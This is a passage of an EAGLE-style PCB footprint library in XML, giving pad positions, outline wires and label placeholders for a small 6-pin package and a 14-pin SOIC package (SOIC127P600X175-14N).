name=\"3\" x=\"-1.0414\" y=\"-0.6604\" dx=\"1.1684\" dy=\"0.3556\" layer=\"1\"/>\n<smd name=\"4\" x=\"1.0414\" y=\"-0.6604\" dx=\"1.1684\" dy=\"0.3556\" layer=\"1\"/>\n<smd name=\"5\" x=\"1.0414\" y=\"0\" dx=\"1.1684\" dy=\"0.3556\" layer=\"1\"/>\n<smd name=\"6\" x=\"1.0414\" y=\"0.6604\" dx=\"1.1684\" dy=\"0.3556\" layer=\"1\"/>\n<wire x1=\"-0.2286\" y1=\"-1.0668\" x2=\"0.2286\" y2=\"-1.0668\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.2286\" y1=\"1.0668\" x2=\"-0.2286\" y2=\"1.0668\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.127\" y1=\"0.7874\" x2=\"-0.127\" y2=\"0.7874\" width=\"0.1524\" layer=\"21\" curve=\"-49\"/>\n<text x=\"-1.8796\" y=\"0.8636\" size=\"1.27\" layer=\"21\" ratio=\"6\" rot=\"SR0\">*</text>\n<wire x1=\"-0.7112\" y1=\"-1.0668\" x2=\"0.7112\" y2=\"-1.0668\" width=\"0\" layer=\"51\"/>\n<wire x1=\"0.7112\" y1=\"-1.0668\" x2=\"0.7112\" y2=\"-0.7874\" width=\"0\" layer=\"51\"/>\n<wire x1=\"0.7112\" y1=\"-0.7874\" x2=\"0.7112\" y2=\"-0.508\" width=\"0\" layer=\"51\"/>\n<wire x1=\"0.7112\" y1=\"-0.508\" x2=\"0.7112\" y2=\"-0.1524\" width=\"0\" layer=\"51\"/>\n<wire x1=\"0.7112\" y1=\"-0.1524\" x2=\"0.7112\" y2=\"0.1524\" width=\"0\" layer=\"51\"/>\n<wire x1=\"0.7112\" y1=\"0.1524\" x2=\"0.7112\" y2=\"0.508\" width=\"0\" layer=\"51\"/>\n<wire x1=\"0.7112\" y1=\"1.0668\" x2=\"0.3048\" y2=\"1.0668\" width=\"0\" layer=\"51\"/>\n<wire x1=\"0.3048\" y1=\"1.0668\" x2=\"-0.3048\" y2=\"1.0668\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-0.3048\" y1=\"1.0668\" x2=\"-0.7112\" y2=\"1.0668\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-0.7112\" y1=\"1.0668\" x2=\"-0.7112\" y2=\"0.7874\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-0.7112\" y1=\"0.7874\" x2=\"-0.7112\" y2=\"0.508\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-0.7112\" y1=\"0.508\" x2=\"-0.7112\" y2=\"0.1524\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-0.7112\" y1=\"0.1524\" x2=\"-0.7112\" y2=\"-0.1524\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-0.7112\" y1=\"-0.1524\" x2=\"-0.7112\" y2=\"-0.508\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-0.7112\" y1=\"0.7874\" x2=\"-1.1938\" y2=\"0.7874\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-1.1938\" y1=\"0.7874\" x2=\"-1.1938\" y2=\"0.508\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-1.1938\" y1=\"0.508\" x2=\"-0.7112\" y2=\"0.508\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-0.7112\" y1=\"0.1524\" x2=\"-1.1938\" y2=\"0.1524\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-1.1938\" y1=\"0.1524\" x2=\"-1.1938\" y2=\"-0.1524\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-1.1938\" y1=\"-0.1524\" x2=\"-0.7112\" y2=\"-0.1524\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-0.7112\" y1=\"-1.0668\" x2=\"-0.7112\" y2=\"-0.7874\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-0.7112\" y1=\"-0.7874\" x2=\"-0.7112\" y2=\"-0.508\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-0.7112\" y1=\"-0.508\" x2=\"-1.1938\" y2=\"-0.508\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-1.1938\" y1=\"-0.508\" x2=\"-1.1938\" y2=\"-0.7874\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-1.1938\" y1=\"-0.7874\" x2=\"-0.7112\" y2=\"-0.7874\" width=\"0\" layer=\"51\"/>\n<wire x1=\"0.7112\" y1=\"-0.7874\" x2=\"1.1938\" y2=\"-0.7874\" width=\"0\" layer=\"51\"/>\n<wire x1=\"1.1938\" y1=\"-0.7874\" x2=\"1.1938\" y2=\"-0.508\" width=\"0\" layer=\"51\"/>\n<wire x1=\"1.1938\" y1=\"-0.508\" x2=\"0.7112\" y2=\"-0.508\" width=\"0\" layer=\"51\"/>\n<wire x1=\"0.7112\" y1=\"-0.1524\" x2=\"1.1938\" y2=\"-0.1524\" width=\"0\" layer=\"51\"/>\n<wire x1=\"1.1938\" y1=\"-0.1524\" x2=\"1.1938\" y2=\"0.1524\" width=\"0\" layer=\"51\"/>\n<wire x1=\"1.1938\" y1=\"0.1524\" x2=\"0.7112\" y2=\"0.1524\" width=\"0\" layer=\"51\"/>\n<wire x1=\"0.7112\" y1=\"1.0668\" x2=\"0.7112\" y2=\"0.7874\" width=\"0\" layer=\"51\"/>\n<wire x1=\"0.7112\" y1=\"0.7874\" x2=\"0.7112\" y2=\"0.508\" width=\"0\" layer=\"51\"/>\n<wire x1=\"0.7112\" y1=\"0.508\" x2=\"1.1938\" y2=\"0.508\" width=\"0\" layer=\"51\"/>\n<wire x1=\"1.1938\" y1=\"0.508\" x2=\"1.1938\" y2=\"0.7874\" width=\"0\" layer=\"51\"/>\n<wire x1=\"1.1938\" y1=\"0.7874\" x2=\"0.7112\" y2=\"0.7874\" width=\"0\" layer=\"51\"/>\n<wire x1=\"0.3048\" y1=\"1.0668\" x2=\"-0.3048\" y2=\"1.0668\" width=\"0\" layer=\"51\" curve=\"-180\"/>\n<text x=\"-1.8796\" y=\"0.8636\" size=\"1.27\" layer=\"51\" ratio=\"6\" rot=\"SR0\">*</text>\n<text x=\"-3.4544\" y=\"2.54\" size=\"2.0828\" layer=\"25\" ratio=\"10\" rot=\"SR0\">&gt;NAME</text>\n<text x=\"-3.4544\" y=\"-4.445\" size=\"2.0828\" layer=\"27\" ratio=\"10\" rot=\"SR0\">&gt;VALUE</text>\n</package>\n<package name=\"SOIC127P600X175-14N\">\n<smd name=\"1\" x=\"-2.3622\" y=\"3.81\" dx=\"1.9812\" dy=\"0.5588\" layer=\"1\"/>\n<smd name=\"2\" x=\"-2.3622\" y=\"2.54\" dx=\"1.9812\" dy=\"0.5588\" layer=\"1\"/>\n<smd name=\"3\" x=\"-2.3622\" y=\"1.27\" dx=\"1.9812\" dy=\"0.5588\" layer=\"1\"/>\n<smd name=\"4\" x=\"-2.3622\" y=\"0\" dx=\"1.9812\" dy=\"0.5588\" layer=\"1\"/>\n<smd name=\"5\" x=\"-2.3622\" y=\"-1.27\" dx=\"1.9812\" dy=\"0.5588\" layer=\"1\"/>\n<smd name=\"6\" x=\"-2.3622\" y=\"-2.54\" dx=\"1.9812\" dy=\"0.5588\" layer=\"1\"/>\n<smd name=\"7\" x=\"-2.3622\" y=\"-3.81\" dx=\"1.9812\" dy=\"0.5588\" layer=\"1\"/>\n<smd name=\"8\" x=\"2.3622\" y=\"-3.81\" dx=\"1.9812\" dy=\"0.5588\" layer=\"1\"/>\n<smd name=\"9\" x=\"2.3622\" y=\"-2.54\" dx=\"1.9812\" dy=\"0.5588\" layer=\"1\"/>\n<smd name=\"10\" x=\"2.3622\" y=\"-1.27\" dx=\"1.9812\" dy=\"0.5588\" layer=\"1\"/>\n<smd name=\"11\" x=\"2.3622\" y=\"0\" dx=\"1.9812\" dy=\"0.5588\" layer=\"1\"/>\n<smd name=\"12\" x=\"2.3622\" y=\"1.27\" dx=\"1.9812\" dy=\"0.5588\" layer=\"1\"/>\n<smd name=\"13\" x=\"2.3622\" y=\"2.54\" dx=\"1.9812\" dy=\"0.5588\" layer=\"1\"/>\n<smd name=\"14\" x=\"2.3622\" y=\"3.81\" dx=\"1.9812\" dy=\"0.5588\" layer=\"1\"/>\n<wire x1=\"-1.9558\" y1=\"3.556\" x2=\"-1.9558\" y2=\"4.064\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.9558\" y1=\"4.064\" x2=\"-2.0066\" y2=\"4.064\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"4.064\" x2=\"-2.9972\" y2=\"4.064\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.9972\" y1=\"4.064\" x2=\"-2.9972\" y2=\"3.556\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.9972\" y1=\"3.556\" x2=\"-2.0066\" y2=\"3.556\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"3.556\" x2=\"-1.9558\" y2=\"3.556\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.9558\" y1=\"2.286\" x2=\"-1.9558\" y2=\"2.794\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.9558\" y1=\"2.794\" x2=\"-2.0066\" y2=\"2.794\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"2.794\" x2=\"-2.9972\" y2=\"2.794\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.9972\" y1=\"2.794\" x2=\"-2.9972\" y2=\"2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.9972\" y1=\"2.286\" x2=\"-2.0066\" y2=\"2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"2.286\" x2=\"-1.9558\" y2=\"2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.9558\" y1=\"1.016\" x2=\"-1.9558\" y2=\"1.524\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.9558\" y1=\"1.524\" x2=\"-2.0066\" y2=\"1.524\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"1.524\" x2=\"-2.9972\" y2=\"1.524\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.9972\" y1=\"1.524\" x2=\"-2.9972\" y2=\"1.016\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.9972\" y1=\"1.016\" x2=\"-2.0066\" y2=\"1.016\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"1.016\" x2=\"-1.9558\" y2=\"1.016\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.9558\" y1=\"-0.254\" x2=\"-1.9558\" y2=\"0.254\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.9558\" y1=\"0.254\" x2=\"-2.0066\" y2=\"0.254\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"0.254\" x2=\"-2.9972\" y2=\"0.254\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.9972\" y1=\"0.254\" x2=\"-2.9972\" y2=\"-0.254\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.9972\" y1=\"-0.254\" x2=\"-2.0066\" y2=\"-0.254\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"-0.254\" x2=\"-1.9558\" y2=\"-0.254\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.9558\" y1=\"-1.524\" x2=\"-1.9558\" y2=\"-1.016\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.9558\" y1=\"-1.016\" x2=\"-2.0066\" y2=\"-1.016\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"-1.016\" x2=\"-2.9972\" y2=\"-1.016\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.9972\" y1=\"-1.016\" x2=\"-2.9972\" y2=\"-1.524\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.9972\" y1=\"-1.524\" x2=\"-2.0066\" y2=\"-1.524\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"-1.524\" x2=\"-1.9558\" y2=\"-1.524\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.9558\" y1=\"-2.794\" x2=\"-1.9558\" y2=\"-2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.9558\" y1=\"-2.286\" x2=\"-2.0066\" y2=\"-2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"-2.286\" x2=\"-2.9972\" y2=\"-2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.9972\" y1=\"-2.286\" x2=\"-2.9972\" y2=\"-2.794\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.9972\" y1=\"-2.794\" x2=\"-2.0066\" y2=\"-2.794\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"-2.794\" x2=\"-1.9558\" y2=\"-2.794\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.9558\" y1=\"-4.064\" x2=\"-1.9558\" y2=\"-3.556\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.9558\" y1=\"-3.556\" x2=\"-2.0066\" y2=\"-3.556\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"-3.556\" x2=\"-2.9972\" y2=\"-3.556\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.9972\" y1=\"-3.556\" x2=\"-2.9972\" y2=\"-4.064\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.9972\" y1=\"-4.064\" x2=\"-2.0066\" y2=\"-4.064\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"-4.064\" x2=\"-1.9558\" y2=\"-4.064\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.9558\" y1=\"-3.556\" x2=\"1.9558\" y2=\"-4.064\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.9558\" y1=\"-4.064\" x2=\"2.0066\" y2=\"-4.064\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"-4.064\" x2=\"2.9972\" y2=\"-4.064\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.9972\" y1=\"-4.064\" x2=\"2.9972\" y2=\"-3.556\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.9972\" y1=\"-3.556\" x2=\"2.0066\" y2=\"-3.556\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"-3.556\" x2=\"1.9558\" y2=\"-3.556\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.9558\" y1=\"-2.286\" x2=\"1.9558\" y2=\"-2.794\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.9558\" y1=\"-2.794\" x2=\"2.0066\" y2=\"-2.794\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"-2.794\" x2=\"2.9972\" y2=\"-2.794\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.9972\" y1=\"-2.794\" x2=\"2.9972\" y2=\"-2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.9972\" y1=\"-2.286\" x2=\"2.0066\" y2=\"-2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"-2.286\" x2=\"1.9558\" y2=\"-2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.9558\" y1=\"-1.016\" x2=\"1.9558\" y2=\"-1.524\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.9558\" y1=\"-1.524\" x2=\"2.0066\" y2=\"-1.524\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"-1.524\" x2=\"2.9972\" y2=\"-1.524\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.9972\" y1=\"-1.524\" x2=\"2.9972\" y2=\"-1.016\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.9972\" y1=\"-1.016\" x2=\"2.0066\" y2=\"-1.016\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"-1.016\" x2=\"1.9558\" y2=\"-1.016\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.9558\" y1=\"0.254\" x2=\"1.9558\" y2=\"-0.254\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.9558\" y1=\"-0.254\" x2=\"2.0066\" y2=\"-0.254\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"-0.254\" x2=\"2.9972\" y2=\"-0.254\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.9972\" y1=\"-0.254\" x2=\"2.9972\" y2=\"0.254\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.9972\" y1=\"0.254\" x2=\"2.0066\" y2=\"0.254\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"0.254\" x2=\"1.9558\" y2=\"0.254\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.9558\" y1=\"1.524\" x2=\"1.9558\" y2=\"1.016\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.9558\" y1=\"1.016\" x2=\"2.0066\" y2=\"1.016\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"1.016\" x2=\"2.9972\" y2=\"1.016\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.9972\" y1=\"1.016\" x2=\"2.9972\" y2=\"1.524\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.9972\" y1=\"1.524\" x2=\"2.0066\" y2=\"1.524\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"1.524\" x2=\"1.9558\" y2=\"1.524\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.9558\" y1=\"2.794\" x2=\"1.9558\" y2=\"2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.9558\" y1=\"2.286\" x2=\"2.0066\" y2=\"2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"2.286\" x2=\"2.9972\" y2=\"2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.9972\" y1=\"2.286\" x2=\"2.9972\" y2=\"2.794\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.9972\" y1=\"2.794\" x2=\"2.0066\" y2=\"2.794\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"2.794\" x2=\"1.9558\" y2=\"2.794\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.9558\" y1=\"4.064\" x2=\"1.9558\" y2=\"3.556\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.9558\" y1=\"3.556\" x2=\"2.0066\" y2=\"3.556\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"3.556\" x2=\"2.9972\" y2=\"3.556\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.9972\" y1=\"3.556\" x2=\"2.9972\" y2=\"4.064\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.9972\" y1=\"4.064\" x2=\"2.0066\" y2=\"4.064\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"4.064\" x2=\"1.9558\" y2=\"4.064\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.9558\" y1=\"-4.318\" x2=\"1.9558\" y2=\"-4.318\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.9558\" y1=\"-4.318\" x2=\"1.9558\" y2=\"4.318\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.9558\" y1=\"4.318\" x2=\"0.3048\" y2=\"4.318\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.3048\" y1=\"4.318\" x2=\"-0.3048\" y2=\"4.318\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.3048\" y1=\"4.318\" x2=\"-1.9558\" y2=\"4.318\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.9558\" y1=\"4.318\" x2=\"-1.9558\" y2=\"-4.318\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.3048\" y1=\"4.318\" x2=\"-0.3048\" y2=\"4.318\" width=\"0\" layer=\"51\" curve=\"-180\"/>\n<wire x1=\"-1.143\" y1=\"-4.318\" x2=\"1.143\" y2=\"-4.318\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.143\" y1=\"4.318\" x2=\"0.3048\" y2=\"4.318\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.3048\" y1=\"4.318\" x2=\"-0.3048\" y2=\"4.318\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.3048\" y1=\"4.318\" x2=\"-1.143\" y2=\"4.318\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.3048\" y1=\"4.318\" x2=\"-0.3048\" y2=\"4.318\" width=\"0\" layer=\"21\" curve=\"-180\"/>\n<text x=\"-4.318\" y=\"5.1816\" size=\"2.0828\" layer=\"25\" ratio=\"10\" rot=\"SR0\">&gt;NAME</text>\n<wire x1=\"-2.0066\" y1=\"3.556\" x2=\"-2.0066\" y2=\"4.064\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"4.064\" x2=\"-3.0988\" y2=\"4.064\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-3.0988\" y1=\"4.064\" x2=\"-3.0988\" y2=\"3.556\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-3.0988\" y1=\"3.556\" x2=\"-2.0066\" y2=\"3.556\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"2.286\" x2=\"-2.0066\" y2=\"2.794\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"2.794\" x2=\"-3.0988\" y2=\"2.794\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-3.0988\" y1=\"2.794\" x2=\"-3.0988\" y2=\"2.286\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-3.0988\" y1=\"2.286\" x2=\"-2.0066\" y2=\"2.286\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"1.016\" x2=\"-2.0066\" y2=\"1.524\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"1.524\" x2=\"-3.0988\" y2=\"1.524\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-3.0988\" y1=\"1.524\" x2=\"-3.0988\" y2=\"1.016\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-3.0988\" y1=\"1.016\" x2=\"-2.0066\" y2=\"1.016\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"-0.254\" x2=\"-2.0066\" y2=\"0.254\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"0.254\" x2=\"-3.0988\" y2=\"0.254\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-3.0988\" y1=\"0.254\" x2=\"-3.0988\" y2=\"-0.254\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-3.0988\" y1=\"-0.254\" x2=\"-2.0066\" y2=\"-0.254\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"-1.524\" x2=\"-2.0066\" y2=\"-1.016\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"-1.016\" x2=\"-3.0988\" y2=\"-1.016\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-3.0988\" y1=\"-1.016\" x2=\"-3.0988\" y2=\"-1.524\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-3.0988\" y1=\"-1.524\" x2=\"-2.0066\" y2=\"-1.524\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"-2.794\" x2=\"-2.0066\" y2=\"-2.286\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"-2.286\" x2=\"-3.0988\" y2=\"-2.286\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-3.0988\" y1=\"-2.286\" x2=\"-3.0988\" y2=\"-2.794\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-3.0988\" y1=\"-2.794\" x2=\"-2.0066\" y2=\"-2.794\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"-4.064\" x2=\"-2.0066\" y2=\"-3.556\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"-3.556\" x2=\"-3.0988\" y2=\"-3.556\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-3.0988\" y1=\"-3.556\" x2=\"-3.0988\" y2=\"-4.064\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-3.0988\" y1=\"-4.064\" x2=\"-2.0066\" y2=\"-4.064\" width=\"0\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"-3.556\" x2=\"2.0066\" y2=\"-4.064\" width=\"0\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"-4.064\" x2=\"3.0988\" y2=\"-4.064\" width=\"0\" layer=\"51\"/>\n<wire x1=\"3.0988\" y1=\"-4.064\" x2=\"3.0988\" y2=\"-3.556\" width=\"0\" layer=\"51\"/>\n<wire x1=\"3.0988\" y1=\"-3.556\" x2=\"2.0066\" y2=\"-3.556\" width=\"0\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"-2.286\" x2=\"2.0066\" y2=\"-2.794\" width=\"0\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"-2.794\" x2=\"3.0988\" y2=\"-2.794\" width=\"0\" layer=\"51\"/>\n<wire x1=\"3.0988\" y1=\"-2.794\" x2=\"3.0988\" y2=\"-2.286\" width=\"0\" layer=\"51\"/>\n<wire x1=\"3.0988\" y1=\"-2.286\" x2=\"2.0066\" y2=\"-2.286\" width=\"0\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"-1.016\" x2=\"2.0066\" y2=\"-1.524\" width=\"0\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"-1.524\" x2=\"3.0988\" y2=\"-1.524\" width=\"0\" layer=\"51\"/>\n<wire x1=\"3.0988\" y1=\"-1.524\" x2=\"3.0988\" y2=\"-1.016\" width=\"0\" layer=\"51\"/>\n<wire x1=\"3.0988\" y1=\"-1.016\" x2=\"2.0066\" y2=\"-1.016\" width=\"0\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"0.254\" x2=\"2.0066\" y2=\"-0.254\" width=\"0\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"-0.254\" x2=\"3.0988\" y2=\"-0.254\" width=\"0\" layer=\"51\"/>\n<wire x1=\"3.0988\" y1=\"-0.254\" x2=\"3.0988\" y2=\"0.254\" width=\"0\" layer=\"51\"/>\n<wire x1=\"3.0988\" y1=\"0.254\" x2=\"2.0066\" y2=\"0.254\" width=\"0\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"1.524\" x2=\"2.0066\" y2=\"1.016\" width=\"0\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"1.016\" x2=\"3.0988\" y2=\"1.016\" width=\"0\" layer=\"51\"/>\n<wire x1=\"3.0988\" y1=\"1.016\" x2=\"3.0988\" y2=\"1.524\" width=\"0\" layer=\"51\"/>\n<wire x1=\"3.0988\" y1=\"1.524\" x2=\"2.0066\" y2=\"1.524\" width=\"0\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"2.794\" x2=\"2.0066\" y2=\"2.286\" width=\"0\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"2.286\" x2=\"3.0988\" y2=\"2.286\" width=\"0\" layer=\"51\"/>\n<wire x1=\"3.0988\" y1=\"2.286\" x2=\"3.0988\" y2=\"2.794\" width=\"0\" layer=\"51\"/>\n<wire x1=\"3.0988\" y1=\"2.794\" x2=\"2.0066\" y2=\"2.794\" width=\"0\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"4.064\" x2=\"2.0066\" y2=\"3.556\" width=\"0\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"3.556\" x2=\"3.0988\" y2=\"3.556\" width=\"0\" layer=\"51\"/>\n<wire x1=\"3.0988\" y1=\"3.556\" x2=\"3.0988\" y2=\"4.064\" width=\"0\" layer=\"51\"/>\n<wire x1=\"3.0988\" y1=\"4.064\" x2=\"2.0066\" y2=\"4.064\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"-4.3688\" x2=\"2.0066\" y2=\"-4.3688\" width=\"0\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"-4.3688\" x2=\"2.0066\" y2=\"4.3688\" width=\"0\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"4.3688\" x2=\"0.3048\" y2=\"4.3688\" width=\"0\" layer=\"51\"/>\n<wire x1=\"0.3048\" y1=\"4.3688\" x2=\"-0.3048\" y2=\"4.3688\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-0.3048\" y1=\"4.3688\" x2=\"-2.0066\" y2=\"4.3688\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"4.3688\" x2=\"-2.0066\" y2=\"-4.3688\" width=\"0\" layer=\"51\"/>\n<wire x1=\"0.3048\" y1=\"4.3688\" 